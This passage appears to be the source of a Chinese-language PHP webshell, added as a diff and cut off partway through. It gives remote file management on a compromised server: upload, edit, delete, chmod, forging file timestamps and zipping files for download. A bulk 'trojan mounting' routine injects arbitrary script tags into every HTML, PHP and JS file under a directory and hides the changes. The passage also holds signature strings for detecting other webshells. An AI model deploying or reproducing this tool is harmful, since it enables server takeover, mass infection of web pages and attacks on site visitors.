$array[$n] = urldecode($array[$n]); + $fp = @fopen($array[$n], 'r'); + $filecode = @fread($fp, @filesize($array[$n])); + @fclose($fp); + $this -> filezip($filecode,basename($array[$n])); + } + @closedir($zhizhen); + $this->out = $this->packfile(); + return true; + } + return false; + } + function at($atunix = 0) + { + $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); + if ($unixarr['year'] < 1980) + { + $unixarr['year'] = 1980; + $unixarr['mon'] = 1; + $unixarr['mday'] = 1; + $unixarr['hours'] = 0; + $unixarr['minutes'] = 0; + $unixarr['seconds'] = 0; + } + return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); + } + function filezip($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->at($time)); + $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function packfile() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; + } +} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} + +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} + +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} + +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + $zip = new packdir; + if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} + return '打包所选文件失败'; + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} + +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                            查找内容: +
                            +
                            +
                            +
                            +
                            文件修改时间
                            +
                            +
                            +
                            +END; +} + +function File_Soup($p) +{ + $THIS_DIR = urlencode($p); + $UP_SIZE = get_cfg_var('upload_max_filesize'); + $MSG_BOX = '单个附件允许大小:'.$UP_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; + if(!empty($_POST['updir'])) + { + if(count($_FILES['soup']) >= 1) + { + $i = 0; + foreach ($_FILES['soup']['error'] as $key => $error) + { + if ($error == UPLOAD_ERR_OK) + { + $souptmp = $_FILES['soup']['tmp_name'][$key]; + if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; + $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; + } + $i++; + } + } + else + { + $MSG_BOX = '请选择文件'; + } + } +print<<{$MSG_BOX} +
                            +
                            上传到目录:
                            +
                            附件1 改名 $MSG[0]
                            +
                            附件2 改名 $MSG[1]
                            +
                            附件3 改名 $MSG[2]
                            +
                            附件4 改名 $MSG[3]
                            +
                            附件5 改名 $MSG[4]
                            +
                            附件6 改名 $MSG[5]
                            +
                            附件7 改名 $MSG[6]
                            +
                            附件8 改名 $MSG[7]
                            +
                            +
                            +END; +} + +function File_a($p) +{ + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $MSG_BOX = '等待消息队列'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($REAL_DIR)); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' 成功' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);} + if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' 成功' : '修改 '.$modfile.' 属性为 '.$_GET['md'].' 失败';} + if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 成功' : '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';} + if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' 成功' : '创建目录 '.$_GET['dn'].' 失败';} + if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 '.$_GET['dd'].' 成功' : '删除目录 '.$_GET['dd'].' 失败';} + if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件不存在';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "当前文件:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)) + { + if(gourl == 'b') + { + document.getElementById('actall').value = escape(gourl); + document.getElementById('fileall').submit(); + } + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "当前文件时间:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                            {$MSG_BOX}
                            +
                            +
                            + +
                            +
                            +
                            + + + + + + +
                            +
                            +
                            + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\r\n".' '; + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + } + } + @closedir($h_d); + if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; +print<< +
                            + + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
                            + +END; + return true; +} + +//批量挂马 +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Make($codea,$codeb,$codec) +{ + return str_replace($codea,Guama_Pass($codeb),$codec); +} + +function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($gm > 12) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb); + if(eregi($gt,$Filename)) + { + $fc = File_Read($Filepath); + if(($gk != '') && (stristr($fc,chop($gk)))) continue; + if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc; + if($gd) $ftime = @filemtime($Filepath); + if($gi == 'a'){if(!stristr($fc,'')) continue; $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fc); $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fcm);} + if($gi == 'b') $fcm = $gcm."\r\n".$fc; + if($gi == 'c') $fcm = $fc."\r\n".$gcm; + echo File_Write($Filepath,$fcm,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + echo '
                            '; + $_POST['gt'] = str_replace('.','\\.',$_POST['gt']); + if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = ''; + if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')) + { + $temp = explode('[-',$_POST['gc']); + $gk = $temp[0]; + preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc); + if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '异常终止'; return false;} + $gm = (int)$nc[1][0]; + $gf = $nc[0][0]; + } + else + { + $gk = $_POST['gc']; + $gm = 0; + $gf = ''; + } + if(!isset($_POST['gx'])) $gk = ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '挂马完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i) +{ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun() +{ + if(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                            +
                            挂马路径 +
                            +
                            文件类型 +
                            +
                            过滤对象 +开启 关闭
                            +
                            挂马代码 +
                            挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                            挂上示例: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                            +
                            插入</head>标签之前 +插入文件最顶端 +插入文件最末尾
                            +
                            智能过滤重复代码 保持文件修改时间不变
                            +
                            将挂马应用于该文件夹,子文件夹和文件 +
                            仅将挂马应用于该文件夹
                            +
                            + +END; +return true; +} + +//批量清马 + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + echo '
                            '; + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '清马完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                            +
                            清马路径 +
                            +
                            文件类型 +
                            +
                            清除代码
                            +
                            保持文件修改时间不变
                            +
                            将清马应用于该文件夹,子文件夹和文件 +
                            仅将清马应用于该文件夹
                            +
                            + +END; + return true; +} + +//批量替换 + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); + for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} + } + if($td) $ftime = @filemtime($Filepath); + if($doing) echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                            '."\r\n" : '失败:'.$Filepath.'
                            '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + echo '
                            '; + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '替换完毕' : '异常终止'; + echo '
                            '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulllll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];} + return true; +} +function showth(th){ + if(th == 'a') document.getElementById('setauto').innerHTML = '查找内容
                            替换成为 '; + if(th == 'b') document.getElementById('setauto').innerHTML = '
                            下载后缀

                            替换成为 '; + return true; +} +function autoup(){ + if(document.getElementById('tp').value == ''){alert('替换路径不能为空');return false;} + if(document.getElementById('tt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('tca').value == ''){alert('替换代码不能为空');return false;} + document.getElementById('tform').submit(); +} + +
                            +
                            替换路径 +
                            +
                            文件类型 +
                            +
                            替换文件中的指定内容 替换文件中的下载地址
                            +
                            查找内容
                            替换成为
                            +
                            保持文件修改时间不变
                            +
                            将替换应用于该文件夹,子文件夹和文件 +
                            仅将替换应用于该文件夹
                            +
                            + +END; + return true; +} + +//扫描木马 + +function Antivirus_Auto($sp,$features,$st,$sb) +{ + if(($h_d = @opendir($sp)) == NULL) return false; + $ROOT_DIR = File_Mode(); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($sp.'/'.$Filename); + if(is_dir($Filepath) && $sb) Antivirus_Auto($Filepath,$features,$st); + if(eregi($st,$Filename)) + { + if($Filepath == File_Str(__FILE__)) continue; + $ic = File_Read($Filepath); + foreach($features as $var => $key) + { + if(stristr($ic,$key)) + { + $Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + echo ' '.$Filepath.'
                            编辑 删除 】 '; + echo ' 【 '.$Filetime.' 】 '.$var.'

                            '."\r\n"; + break; + } + } + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Antivirus_e() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode(); + $features_php = array('php大马特征1'=>'cha88.cn','php大马特征2'=>'->read()','php大马特征3'=>'readdir(','危险MYSQL语句4'=>'returns string soname','php加密大马特征5'=>'eval(gzinflate(','php加密大马特征6'=>'eval(base64_decode(','php一句话特征7'=>'eval($_','php一句话特征8'=>'eval ($_','php上传后门特征9'=>'copy($_FILES','php上传后门特征10'=>'copy ($_FILES','php上传后门特征11'=>'move_uploaded_file($_FILES','php上传后门特征12'=>'move_uploaded_file ($_FILES','php小马特征13'=>'str_replace(\'\\\\\',\'/\','); + $features_asx = array('asp小马特征1'=>'绝对路径','asp小马特征2'=>'输入马的内容','asp小马特征3'=>'fso.createtextfile(path,true)','asp一句话特征4'=>'<%execute(request','asp一句话特征5'=>'<%eval request','asp一句话特征6'=>'execute session(','asp数据库后门特征7'=>'--Created!','asp大马特征8'=>'WScript.Shell','asp大小马特征9'=>'<%@ LANGUAGE = VBScript.Encode %>','aspx大马特征10'=>'www.rootkit.net.cn','aspx大马特征11'=>'Process.GetProcesses','aspx大马特征12'=>'lake2'); +print<< +
                            扫描路径
                            +
                            木马类型 php木马 +asp+aspx木马
                            +
                            将扫马应用于该文件夹,子文件夹和文件 +
                            仅将扫马应用于该文件夹
                            +
                            + +END; + if(!empty($_POST['sp'])) + { + echo '
                            '; + if(isset($_POST['stphp'])){$features_all = $features_php; $st = '\.php|\.inc|\;';} + if(isset($_POST['stasx'])){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + if(isset($_POST['stphp']) && isset($_POST['stasx'])){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';} + $sb = ($_POST['sb'] == 'a') ? true : false; + echo Antivirus_Auto($_POST['sp'],$features_all,$st,$sb) ? '扫描完毕' : '异常终止'; + echo '
                            '; + } + return true; +} + +//搜索文件 + +function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb) +{ + //echo $sfp.'
                            '.$sfc.'
                            '.$sft.'
                            '.$sff.'
                            '.$sfb; + if(($h_d = @opendir($sfp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if(eregi($sft,$Filename)) continue; + $Filepath = File_Str($sfp.'/'.$Filename); + if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb); + if($sff) + { + if(stristr($Filename,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + else + { + $File_code = File_Read($Filepath); + if(stristr($File_code,$sfc)) + { + echo ' '.$Filepath.'
                            '."\r\n"; + ob_flush(); + flush(); + } + } + } + @closedir($h_d); + return true; +} + +function Findfile_j() +{ + if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '删除成功';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '删除成功' : '删除失败';} return false;} + if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; } + $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode(); + $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config'; + $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip'; +print<< +
                            扫描路径
                            +
                            过滤文件
                            +
                            关键字串 +搜索文件名 +搜索包含文字
                            +
                            将搜索应用于该文件夹,子文件夹和文件 +
                            仅将搜索应用于该文件夹
                            +
                            + +END; + if((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) + { + echo '
                            '; + $_POST['sft'] = str_replace('.','\\.',$_POST['sft']); + $sff = ($_POST['sff'] == 'a') ? true : false; + $sfb = ($_POST['sfb'] == 'a') ? true : false; + echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '搜索完毕' : '异常终止'; + echo '
                            '; + } + return true; +} + +//系统信息 + +function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}} +function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";} +function Info_f() +{ + $dis_func = get_cfg_var("disable_functions"); + $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "不允许上传"; + $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "".$_SERVER['SERVER_ADMIN']."" : "".get_cfg_var("sendmail_from").""; + if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","
                            ",$dis_func);$dis_func = str_replace(",","
